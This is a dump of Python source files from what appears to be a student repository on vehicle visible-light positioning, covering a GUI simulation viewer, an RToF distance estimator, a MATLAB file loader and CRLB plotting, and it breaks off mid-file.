True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_x1(ij, q, tx1, tx2) def d_hij_q_d_x2(self, ij, q, tx1, tx2): return self.d_h_d_x2(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_x2(ij, q, tx1, tx2) def d_hij_q_d_y1(self, ij, q, tx1, tx2): return self.d_h_d_y1(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_y1(ij, q, tx1, tx2) def d_hij_q_d_y2(self, ij, q, tx1, tx2): return self.d_h_d_y2(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_y2(ij, q, tx1, tx2)
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,987
fsahbaz/elec491
refs/heads/main
/simulation.py
#!/usr/bin/env python import PySimpleGUI as sg import matplotlib.patches as mpatches import matplotlib.pyplot as plt import numpy as np from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib.offsetbox import OffsetImage, AnnotationBbox from config import sim_data def draw_figure(canvas, figure): figure_canvas_agg = FigureCanvasTkAgg(figure, canvas) figure_canvas_agg.draw() figure_canvas_agg.get_tk_widget().pack(side='top', fill='both', expand=1) return figure_canvas_agg # TODO: Add flexibility to the size for the each computer def plot(input_name='', folder_name='', skip=sim_data.params.number_of_skip_data): """ Three things happen here: 1) Set the related directory inputted from main window and import actual coordinates, estimated coordinates, time, and relative heading. 2)If needed skip some data points to show quick simulation. 3)According to imported datas, three plot will be plotted: a) Simulation scenario b) X coordinate estimates c) Y coordinate estimates """ # a) fl_name = folder_name folder_name = 'GUI_data/100_point_202/' + folder_name x, y = np.loadtxt(folder_name + 'x.txt', delimiter=','), np.loadtxt(folder_name + 'y.txt', delimiter=',') x_pose, y_pose = np.loadtxt(folder_name + 'x_pose.txt', delimiter=','), np.loadtxt(folder_name + 'y_pose.txt', delimiter=',') x_becha, y_becha = np.loadtxt(folder_name + 'x_becha.txt', delimiter=','), np.loadtxt(folder_name + 'y_becha.txt', delimiter=',') x_roberts, y_roberts = np.loadtxt(folder_name + 'x_roberts.txt', delimiter=','), np.loadtxt( folder_name + 'y_roberts.txt', delimiter=',') x_data, y_data = np.loadtxt(folder_name + 'x_data.txt', delimiter=','), np.loadtxt(folder_name + 'y_data.txt', delimiter=',') time_ = np.loadtxt(folder_name + 'time.txt', delimiter=',') rel_hdg = np.loadtxt(folder_name + 'rel_hdg.txt', delimiter=',') NUM_DATAPOINTS = len(x) # b x, y = x[::skip], y[::skip] x_pose, y_pose = x_pose[::skip], y_pose[::skip] x_roberts, y_roberts = x_roberts[::skip], y_roberts[::skip] x_becha, y_becha = x_becha[::skip], y_becha[::skip] x_data, y_data = x_data[::skip], y_data[::skip] time_, rel_hdg = time_[::skip], rel_hdg[::skip] # c # define the form layout sg.theme('Dark Teal 10') layout = [ [sg.Text('Real Time Simulation Of Chosen Scenario', size=(40, 1), justification='center', font='Helvetica 20')], [sg.Canvas(key='-CANVAS-')], [sg.Button('Exit', size=(10, 2), pad=((280, 0), 3), font='Helvetica 14')]] # create the form and show it without the plot window = sg.Window('Simulation', layout, finalize=True, location=(0, 0), size=(1800, 950)) window.Maximize() canvas_elem = window['-CANVAS-'] canvas = canvas_elem.TKCanvas # draw the intitial scatter plot fig, (ax1, ax2, ax3) = plt.subplots(3, 1) ax1.set_xlabel("X axis") ax1.set_ylabel("Y axis") ax1.grid() ax2.set_xlabel("Time axis") ax2.set_ylabel("X axis") ax2.grid() ax3.set_xlabel("Time axis") ax3.set_ylabel("Y axis") ax3.grid() DPI = fig.get_dpi() fig.set_size_inches(800 * 2 / float(DPI), 850 / float(DPI)) fig_agg = draw_figure(canvas, fig) fig.tight_layout() for i in range(NUM_DATAPOINTS): event, values = window.read(timeout=50) if event in ('Exit', None): exit(69) img_ego_s = plt.imread(sim_data.params.img_ego_s_dir) img_tgt_s = plt.imread(sim_data.params.img_tgt_s_dir) img_tgt_f = plt.imread(sim_data.params.img_tgt_f_dir) if fl_name == '/3/': ax1.add_artist( AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08), (x[0][0] - 0.27, y[0][0] + 0.2), frameon=False)) if i == (len(x_data) - 1): ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08), (x[-1][0] - 0.27, y[-1][0] + 0.2), frameon=False)) elif fl_name == '/2/': ax1.add_artist( AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08), (x[1][0], y[1][0]), frameon=False)) if i == (len(x_data) - 1): ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08), (x[-1][0], y[-1][0]), frameon=False)) elif fl_name == '/1/': ax1.add_artist( AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08), (x[0][0], y[0][0]), frameon=False)) if i == (len(x_data) - 1): ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08), (x[-1][0], y[-1][0]), frameon=False)) if fl_name == '/2/': if i > 0: ax1.plot(x[i, 0], y[i, 0], 'o', color='green', markersize=7) ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory') ax1.plot(x[i, 0], y[i, 0], '-', color='red', markersize=5) else: ax1.plot(x[i, 0], y[i, 0], 'o', color='green', markersize=7) ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory') ax1.plot(x[i, 0], y[i, 0], '-', color='red', markersize=5) mid = 25 arrow_x = x[mid, 0] arrow_y = y[mid, 0] if i == mid and fl_name == '/3/': ax1.arrow(arrow_x, arrow_y, -0.5, 0, width=0.05) if fl_name == '/3/': ax1.set_xlim(-8, 1) ax1.set_ylim(-1, 4) elif fl_name == '/2/': ax1.set_xlim(-10, 1) ax1.set_ylim(-5, 5) elif fl_name == '/1/': ax1.set_xlim(-9, 1) ax1.set_ylim(-3, 6) ax1.grid() green_patch = mpatches.Patch(color='green', label='Target Vehicle') red_patch = mpatches.Patch(color='red', label='Ego Vehicle') ax1.legend(handles=[green_patch, red_patch]) ax1.set_xlabel('Ego Frame x [m]') ax1.set_ylabel('Ego Frame y [m]') ax2.plot(time_[i], x[i, 0], 'o', color='green') if i > 0: ax2.plot(time_[i - 1:i + 1:1], x_pose[i - 1:i + 1:1, 0], '-', color='blue') ax2.plot(time_[i - 1:i + 1:1], x_roberts[i - 1:i + 1:1, 0], '-', color='purple') ax2.plot(time_[i - 1:i + 1:1], x_becha[i - 1:i + 1:1, 0], '-', color='orange') ax2.set_xlabel('Time [s]') ax2.set_ylabel('[m]') if fl_name == '/3/': ax2.set_ylim(x[0, 0] - 0.5, x[-1, 0] + 0.5) ax2.set_xlim(0, 10) elif fl_name == '/1/': ax2.set_xlim(0, 1) ax2.set_ylim(-7, -2) elif fl_name == '/2/': ax2.set_xlim(0, 1) ax2.set_ylim(-9, -2) ax2.grid() green_patch = mpatches.Patch(color='green', label='Actual coordinates') blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates') orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates') purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates') ax2.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch]) ax2.title.set_text('Fig 2: x Estimation Results') ax3.title.set_text('Fig 3: y Estimation Results') ax3.plot(time_[i], y[i, 0], 'o', color='green') if i > 0: ax3.plot(time_[i - 1:i + 1:1], y_pose[i - 1:i + 1:1, 0], '-', color='blue') ax3.plot(time_[i - 1:i + 1:1], y_roberts[i - 1:i + 1:1, 0], '-', color='purple') ax3.plot(time_[i - 1:i + 1:1], y_becha[i - 1:i + 1:1, 0], '-', color='orange') ax3.set_xlabel('Time [s]') ax3.set_ylabel('[m]') if fl_name == '/3/': ax3.set_ylim(y[0, 0] - 1, y[-1, 0] + 1) ax3.set_xlim(0, 10) elif fl_name == '/1/': ax3.set_xlim(0, 1) ax3.set_ylim(-4, 4) elif fl_name == '/2/': ax3.set_xlim(0, 1) ax3.set_ylim(-5, 5) ax3.grid() green_patch = mpatches.Patch(color='green', label='Actual coordinates') blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates') orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates') purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates') ax3.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch]) ax1.grid(True) ax2.grid(True) ax3.grid(True) fig_agg.draw() window.close() def main(): """ Main GUI will be plotted here. According to selected scenario, the real time simulation plot will be shown. """ import PySimpleGUI as sg sg.theme('Dark Teal 12') size_width = sim_data.params.size_width size_height = sim_data.params.size_height button_three = b'iVBORw0KGgoAAAANSUhEUgAAAF4AAABnCAYAAACJp/ULAAAKN2lDQ1BJQ0MgUHJvZmlsZQAASImVlgdUVNcWhve90xtthqFIGXoTpA0MIHXooCDSRWWYocOIQxHBigQjEAsiIlgCGKUoGA1FYkUUC0FAsWsGCQpqDBZEReVdJDHlrffeenutc/d39j1nn33OuWvdH4B2SJCWloLKAaSKMyRBXm6c8IhIDukXIIMa0EAdDATC9DTXwEB/wOwP/3d7cwOQaX/NdDrXv7//r6Ygik0XAiBRGItF6cJUjLsxdhOmSTIApisDnRUZadNsjTFLghWIsfc0x8/w9FxWzAynfR4THMTHOB+ATBcIJPEA1K1YnJMljMfyUI9gbC4WJYoxlmLsJEwQiABoHIxnp6Yum+bpfRpi47F8NGwO8GL+kjP+b/ljvuQXCOK/8My+PhvLn29pHeTFNefwBSmJMRJBRqzo/zym/22pKZl/rDd9G/RYcchCzOtjTQ38gQ+WYA1B4AVcMAcO1hdACiRCDEgwyoBYwErKiM2e3ivwl6WtlCTGJ2RwXLEbjeX4iIVmszmW5pbmANPfx8wyE4LPKyG5bn/GxPXYURGws7H7M7a0FqA5HECJ/WfMcAN29TUAx+8LMyVZMzH89IMAVJAFFqiABuiAIZhidduAA7iAB/hCAARDBCwBISRAKlb5ClgF66EAimAr7IAK2Ac1UAuH4Si0wgk4CxfgCvTCANwFKQzDUxiDNzCJIAgJYSBMRAXRRPQQE8QS4SFOiAfijwQhEUg0Eo+IkUxkFbIBKUJKkAqkCqlDvkeOI2eRS0gfchsZREaRl8h7FIfSURaqjuqjc1Ae6or6ocHoYjQeXY7moPnoZrQcrUYPoS3oWfQKOoBK0afoOA5wNBwbp4UzxfFwfFwALhIXh5Pg1uAKcWW4alwjrh3XhbuGk+Ke4d7hiXgmnoM3xTvgvfEheCF+OX4Nvhhfga/Ft+A78dfwg/gx/CcCg6BGMCHYE3wI4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sxEdDuogMnSd8zHPDSh8McOzHyxYZvc4QOH3IyD5eYMISNP890rdktiqgZxayJrjZH15QpShaYiFQMDl0Fs+6esfsAC2DdYAu4YV3ldQl99yqfH/MKbB4oyViDAR72/PCrmK50xWeHBD48ezHTZcuH+8hKBza50mFDxxqp8eAoF3owsMGDZ/rypc+f9YpvbY8zHbuDwAvbFN2iJG1xAV2RY1EwyobEJAswIIKw01mcuVonFREIIPnji3/2AWWH7EiXiOQQQkccO4ce385sczD6M1E6hE8FYedKr6NNfIOu+K7IoiN3sWGnAzf/5uGij7QhasMFn/masUKyJ2zpwmONPZ5c+S7+5AksELavP6Cw3SgAYpvUYRyb8xxAAYEUyCcG89adhZxLkn92ABEk0qdrjq4CAe3PNNnAA4PBH/ASFg9pbPmwjgQ+zTnTxYUpn9bomIdFTH6Kb866ODhQeDaexeALtrqdnWd4cOVTFkx0+eFPDvRdcappYZUre+NfOdxD8Yzu3NEAAAAASUVORK5CYII=' layout = [ [ sg.Graph( canvas_size=(size_width, size_height), graph_bottom_left=(0, 0), graph_top_right=(size_width, size_height), key="graph" ), sg.Button('Plot #1', image_data=button_one), sg.Button('Plot #2', image_data=button_two), sg.Button('Plot #3', image_data=button_three), sg.Cancel() ] ] window = sg.Window("Choose Scenario", layout) window.Finalize() window.Maximize() graph = window.Element("graph") graph.DrawImage(filename=sim_data.names.intro_img_dir_name, location=(0, size_height)) while True: event, values = window.Read() if event in (sg.WIN_CLOSED, 'Cancel'): break elif event == 'Plot #1': input_name = sim_data.names.data_names[0] folder_name = sim_data.names.folder_names[0] plot(input_name, folder_name) elif event == 'Plot #2': input_name = sim_data.names.data_names[1] folder_name = sim_data.names.folder_names[1] plot(input_name, folder_name) elif event == 'Plot #3': input_name = sim_data.names.data_names[2] folder_name = sim_data.names.folder_names[2] plot(input_name, folder_name) window.close() if __name__ == '__main__': main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,988
fsahbaz/elec491
refs/heads/main
/VLP_methods/rtof.py
import scipy.signal as signal import numpy as np from numba import njit import math """ *: coordinate center of cari |--------| | car1 | |-------*| | y | |---------| | | car2 | |-------------------|*--------| d """ class RToF: def __init__(self, a_m=2, f_m=1e6, measure_dt=5e-9, vehicle_dt=5e-3, car_dist=1.6, r=499, N=1, c=3e8): self.dt = measure_dt self.f = f_m self.a_m = a_m self.r = r self.N = N self.c = c self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.car_dist = car_dist # Generating the necessary signals for distance measurement algorithm. def gen_signals(self, f, r, N, t, delays, noise_variance): ### BS: adding this here since it's generic length_time = np.size(t); # necessary noise generation for signals noise1 = np.random.normal(0, math.sqrt(noise_variance[0]), length_time).astype('float') noise2 = np.random.normal(0, math.sqrt(noise_variance[1]), length_time).astype('float') # generating initial reference signal (original) s_e = np.asarray(signal.square(2 * np.pi * f * t), dtype='float') # + (noise1 + noise2) / 2 ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly ### and this can easily be an array, so I'll convert it to an array s_r = np.zeros((2, length_time)); # noise added, received signals s_r[0] = np.asarray(signal.square(2 * np.pi * f * (t + delays[0])), dtype='float') + noise1; s_r[1] = np.asarray(signal.square(2 * np.pi * f * (t + delays[1])), dtype='float') + noise2; # heterodyned signal, for reference s_h = np.asarray(signal.square(2 * np.pi * f * (r / (r + 1)) * t), dtype='float') # heterodyned, flip flop gate clock signal s_gate = np.asarray((signal.square(2 * np.pi * (f / (N * (r + 1))) * t) > 0), dtype='float'); return s_e, s_r, s_h, s_gate ### BS: a numba-jit'able method can't have a "self" type inherited class definition, ### that simply doesn't work in C. so we need to make this a static method, ### with a name that won't conflict with any other function in the global scope. # Estimating the distance based on the phase difference between the sent and both received signals. @staticmethod @njit(parallel=True) def rtof_estimate_dist(s_e, s_r, s_h, s_gate, f, r, N, dt, t, length_time): # setting initial states s_clk = np.zeros(length_time); s_clk_idx = np.arange(1, length_time, 2); s_clk[s_clk_idx] = 1; ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly ### and this can easily be an array, so I'll convert it to an array s_phi_hh = np.zeros((2, length_time)); s_eh_state = 0 ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly ### and this can easily be an array, so I'll convert it to an array s_rh_state = np.zeros((2)) ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly counts1 = []; counts2 = []; ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly ### and this can easily be an array, so I'll convert it to an array M = np.zeros((2)) # to check the difference between consecutive values s_h_diff = np.diff(s_h) for i in range(1, length_time): # detecting the falling edge if s_h_diff[i-1] == 2: # updating the states based in zero-crossing if s_e[i] > 0: s_eh_state = 1 else: s_eh_state = 0 if s_r[0][i] > 0: s_rh_state[0] = 1 else: s_rh_state[0] = 0 if s_r[1][i] > 0: s_rh_state[1] = 1 else: s_rh_state[1] = 0 # phase shift pulses s_phi_hh[0][i] = np.logical_xor(s_eh_state, s_rh_state[0]) * s_gate[i] * s_clk[i] s_phi_hh[1][i] = np.logical_xor(s_eh_state, s_rh_state[1]) * s_gate[i] * s_clk[i] # updating and incrementing based on the phase shift pulses. if s_gate[i] == 1: if s_phi_hh[0][i] == 1: M[0] += 1 if s_phi_hh[1][i] == 1: M[1] += 1 update_flag = 1 else: if update_flag == 1: ### BS: see above # updated, reset counts1.append(M[0]) counts2.append(M[1]) M[0] = 0 M[1] = 0 update_flag = 0 ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly ### and it also doesn't like measuring size of growing arrays since it requires consistent ### repetitive memory usage on (I guess) the heap, moving this part outsize, it's not a ### performance-related part anyhow, doesn't have to be jit'ted. return counts1, counts2 # Converting distance information to coordinates. def dist_to_pos(self, dm, delays): l = self.car_dist ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly d1 = dm[0] # obtaining the nearest count d1_err = np.abs(self.c*delays[1]/2 - d1) # since the delays are from round trips d1 = d1[d1_err == np.min(d1_err)][0] ### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly d2 = dm[1]; # obtaining the nearest count d2_err = np.abs(self.c*delays[0]/2 - d2) d2 = d2[d2_err == np.min(d2_err)][0] # extracting the coordinates using triangulation and distance measurements from both tx LEDs. y = (d2**2 - d1**2 + l**2) / (2*l) x = -np.sqrt(d2**2 - y**2) return x, y # Calculating distances and returning coordinates from round-trip flights. def estimate(self, all_delays, H, noise_variance): # delays for d11 and d12. delay1 = all_delays[0][0] * 2 delay2 = all_delays[0][1] * 2 delays = [delay1, delay2] # generating signals based on the obtained delays and noise variance. s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[0]) # scaling the signals, related to channel gain. s_r[0] *= H[0][0] s_r[1] *= H[0][1] ### BS: numba and the LLVM optimizer can't really handle varying size arrays well ### so we need to tell the size of the time array beforehand ### also, moved dm computation outside length_time = np.size(self.t); # clock frequency fclk = 1/(2*self.dt) # obtaining the estimated distances from the sent and received signals. counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time) size_tmp = np.size(counts1) # could equivalently be counts2 dm = np.zeros((2,size_tmp)); dm[0] = ((self.c/2) * (np.asarray(counts2) / ((self.r+1) * self.N * fclk))); dm[1] = ((self.c/2) * (np.asarray(counts1) / ((self.r+1) * self.N * fclk))); # obtaining the coordinates from measured distances. x1, y1 = self.dist_to_pos(dm, delays) # delays for d21 and d22. delay1 = all_delays[1][0] * 2 delay2 = all_delays[1][1] * 2 delays = [delay1, delay2] # generating signals based on the obtained delays and noise variance. s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[1]) # scaling the signals, related to channel gain. s_r[0] *= H[1][0] s_r[1] *= H[1][1] # obtaining the estimated distances from the sent and received signals. counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time) size_tmp = np.size(counts1) # could equivalently be counts2 dm = np.zeros((2,size_tmp)); dm[0] = ((self.c/2) * (np.asarray(counts2) / ((self.r+1) * self.N * fclk))); dm[1] = ((self.c/2) * (np.asarray(counts1) / ((self.r+1) * self.N * fclk))); # obtaining the coordinates from measured distances. x2, y2 = self.dist_to_pos(dm, delays) # returning the resulting transmitter vehicle coordinates. tx_pos = np.array([[x1, x2], [y1, y2]]) # to obtain separate axes return tx_pos
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,989
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/matfile_read.py
from mat4py import loadmat from scipy.io import loadmat, matlab import numpy as np def load_mat(filename): """ This function should be called instead of direct scipy.io.loadmat as it cures the problem of not properly recovering python dictionaries from mat files. It calls the function check keys to cure all entries which are still mat-objects """ def _check_vars(d): """ Checks if entries in dictionary are mat-objects. If yes todict is called to change them to nested dictionaries """ for key in d: if isinstance(d[key], matlab.mio5_params.mat_struct): d[key] = _todict(d[key]) elif isinstance(d[key], np.ndarray): d[key] = _toarray(d[key]) return d def _todict(matobj): """ A recursive function which constructs from matobjects nested dictionaries """ d = {} for strg in matobj._fieldnames: elem = matobj.__dict__[strg] if isinstance(elem, matlab.mio5_params.mat_struct): d[strg] = _todict(elem) elif isinstance(elem, np.ndarray): d[strg] = _toarray(elem) else: d[strg] = elem return d def _toarray(ndarray): """ A recursive function which constructs ndarray from cellarrays (which are loaded as numpy ndarrays), recursing into the elements if they contain matobjects. """ if ndarray.dtype != 'float64': elem_list = [] for sub_elem in ndarray: if isinstance(sub_elem, matlab.mio5_params.mat_struct): elem_list.append(_todict(sub_elem)) elif isinstance(sub_elem, np.ndarray): elem_list.append(_toarray(sub_elem)) else: elem_list.append(sub_elem) return np.array(elem_list) else: return ndarray data = loadmat(filename, struct_as_record=False, squeeze_me=True, mat_dtype=False) return _check_vars(data) def rec_func(data, n=0): """ This function is to print structure of the recursive dictionary by displaying their names in a tree fashion :param data: dictionary itself :param n: the depth we will start with, set to 0, (for recursion) :return: """ for k in data.keys(): str = "" for i in range(n): str += "\t" print(str, k) if isinstance(data[k], dict): rec_func(data[k], n + 1)
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,990
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/plot_theoretical.py
import matplotlib.pyplot as plt import numpy as np from glob import glob from matfile_read import load_mat from config_est import bound_est_data def deviation_from_actual_value(array, actual_val): return np.sqrt(np.mean(abs(array - actual_val) ** 2, axis=0)) def main(): dir = bound_est_data.plot.directory files = glob(dir + '*/3/') x_pose, y_pose = [], [] x_becha, y_becha = [], [] x_roberts, y_roberts = [], [] dp = bound_est_data.params.number_of_skip_data print(len(files)) # obtaining results of various simulations, to check the standard deviation from them. for folder_name in files: x_pose.append(np.loadtxt(folder_name+'x_pose.txt', delimiter=',')) y_pose.append(np.loadtxt(folder_name+'y_pose.txt', delimiter=',')) x_roberts.append(np.loadtxt(folder_name+'x_roberts.txt', delimiter=',')) y_roberts.append(np.loadtxt(folder_name+'y_roberts.txt', delimiter=',')) x_becha.append(np.loadtxt(folder_name+'x_becha.txt', delimiter=',')) y_becha.append(np.loadtxt(folder_name+'y_becha.txt', delimiter=',')) # loading the necessary data data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat') time = data['vehicle']['t']['values'][::dp] tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp] tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp] tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp] tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp] # loading Cramer-Rao Lower Bound estimation results pose_x1_crlb = np.loadtxt('Data/aoa/crlb_x1.txt', delimiter=',') becha_x1_crlb = np.loadtxt('Data/rtof/crlb_x1.txt', delimiter=',') pose_x2_crlb = np.loadtxt('Data/aoa/crlb_x2.txt', delimiter=',') becha_x2_crlb = np.loadtxt('Data/rtof/crlb_x2.txt', delimiter=',') roberts_x_crlb = np.loadtxt('Data/tdoa/crlb_x.txt', delimiter=',') pose_y1_crlb = np.loadtxt('Data/aoa/crlb_y1.txt', delimiter=',') becha_y1_crlb = np.loadtxt('Data/rtof/crlb_y1.txt', delimiter=',') pose_y2_crlb = np.loadtxt('Data/aoa/crlb_y2.txt', delimiter=',') becha_y2_crlb = np.loadtxt('Data/rtof/crlb_y2.txt', delimiter=',') roberts_y_crlb = np.loadtxt('Data/tdoa/crlb_y.txt', delimiter=',') # plotting the results to compare and saving the figures plt.close("all") plot1 = plt.figure(1) becha_x1, = plt.plot(time, becha_x1_crlb) soner_x1, = plt.plot(time, pose_x1_crlb) ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--') roberts_x1, = plt.plot(time, roberts_x_crlb) plt.ylabel('Standard Deviation (m)') plt.xlabel('Time (s)') plt.title('CRLB for x1') plt.legend([becha_x1, soner_x1, roberts_x1, ten_cm_line], ['RToF', 'AoA', 'TDoA', '10 cm line']) plt.ylim(1e-5,10) plt.yscale('log') plt.savefig('crlb_x1.png') plot2 = plt.figure(2) becha_y1, = plt.plot(time, becha_y1_crlb) soner_y1, = plt.plot(time, pose_y1_crlb) ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--') roberts_y1, = plt.plot(time, roberts_y_crlb) plt.ylabel('Standard Deviation (m)') plt.xlabel('Time (s)') plt.title('CRLB for y1') plt.legend([becha_y1, soner_y1, roberts_y1, ten_cm_line], ['RToF', 'AoA', 'TDoA', '10 cm line']) plt.ylim(1e-5,10) plt.yscale('log') plt.savefig('crlb_y1.png') plot3 = plt.figure(3) becha_x2, = plt.plot(time, becha_x2_crlb) soner_x2, = plt.plot(time, pose_x2_crlb) ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--') plt.ylabel('Standard Deviation (m)') plt.xlabel('Time (s)') plt.title('CRLB for x2') plt.legend([becha_x2, soner_x2, ten_cm_line], ['RToF', 'AoA', '10 cm line']) plt.ylim(1e-5,10) plt.yscale('log') plt.savefig('crlb_x2.png') plot4 = plt.figure(4) becha_y2, = plt.plot(time, becha_y2_crlb) soner_y2, = plt.plot(time, pose_y2_crlb) ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--') plt.ylabel('Standard Deviation (m)') plt.xlabel('Time (s)') plt.title('CRLB for y2') plt.legend([becha_y2, soner_y2, ten_cm_line], ['RToF', 'AoA', '10 cm line']) plt.ylim(1e-5,10) plt.yscale('log') plt.savefig('crlb_y2.png') x1_becha, x2_becha = np.asarray(x_becha)[:,:,0], np.asarray(x_becha)[:,:,1] y1_becha, y2_becha = np.asarray(y_becha)[:,:,0], np.asarray(y_becha)[:,:,1] print(np.shape(x1_becha)) print(np.shape(x2_becha)) print(np.shape(y1_becha)) print(np.shape(y2_becha)) plot5 = plt.figure(5) th_becha_x1, = plt.plot(time, becha_x1_crlb, '--') th_becha_x2, = plt.plot(time, becha_x2_crlb, '--') th_becha_y1, = plt.plot(time, becha_y1_crlb, '--') th_becha_y2, = plt.plot(time, becha_y2_crlb, '--') sim_becha_x1, = plt.plot(time, deviation_from_actual_value(x1_becha, -tx1_x)) sim_becha_x2, = plt.plot(time, deviation_from_actual_value(x2_becha, -tx2_x)) sim_becha_y1, = plt.plot(time, deviation_from_actual_value(y1_becha, tx1_y)) sim_becha_y2, = plt.plot(time, deviation_from_actual_value(y2_becha, tx2_y)) plt.ylabel('Error (m)') plt.xlabel('Time (s)') plt.title('CRLB vs. Simulation Results for RToF') plt.legend([th_becha_x1, th_becha_x2, th_becha_y1, th_becha_y2, sim_becha_x1 , sim_becha_x2, sim_becha_y1, sim_becha_y2], ['x1 (theoretical)', 'x2 (theoretical)', 'y1 (theoretical)', 'y2 (theoretical)', 'x1 (simulation)', 'x2 (simulation)', 'y1 (simulation)', 'y2 (simulation)'], ncol=4,loc=3) plt.ylim(1e-5,2) plt.yscale('log') plt.savefig('crlb_becha.png') x1_roberts, x2_roberts = np.asarray(x_roberts)[:,:,0], np.asarray(x_roberts)[:,:,1] y1_roberts, y2_roberts = np.asarray(y_roberts)[:,:,0], np.asarray(y_roberts)[:,:,1] plot6 = plt.figure(6) th_roberts_x1, = plt.plot(time, roberts_x_crlb, '--') th_roberts_y1, = plt.plot(time, roberts_y_crlb, '--') sim_roberts_x1, = plt.plot(time, deviation_from_actual_value(x1_roberts, -tx1_x)) sim_roberts_y1, = plt.plot(time, deviation_from_actual_value(y1_roberts, tx1_y)) plt.ylabel('Error (m)') plt.xlabel('Time (s)') plt.title('CRLB vs. Simulation Results for TDoA') plt.legend([th_roberts_x1, th_roberts_y1, sim_roberts_x1 , sim_roberts_y1], ['x1 (theoretical)', 'y1 (theoretical)', 'x1 (simulation)', 'y1 (simulation)'],ncol=2,loc=3) plt.ylim(1e-5,2) plt.yscale('log') plt.savefig('crlb_roberts.png') x1_soner, x2_soner = np.asarray(x_pose)[:,:,0], np.asarray(x_pose)[:,:,1] y1_soner, y2_soner = np.asarray(y_pose)[:,:,0], np.asarray(y_pose)[:,:,1] plot7 = plt.figure(7) th_soner_x1, = plt.plot(time, pose_x1_crlb, '--') th_soner_x2, = plt.plot(time, pose_x2_crlb, '--') th_soner_y1, = 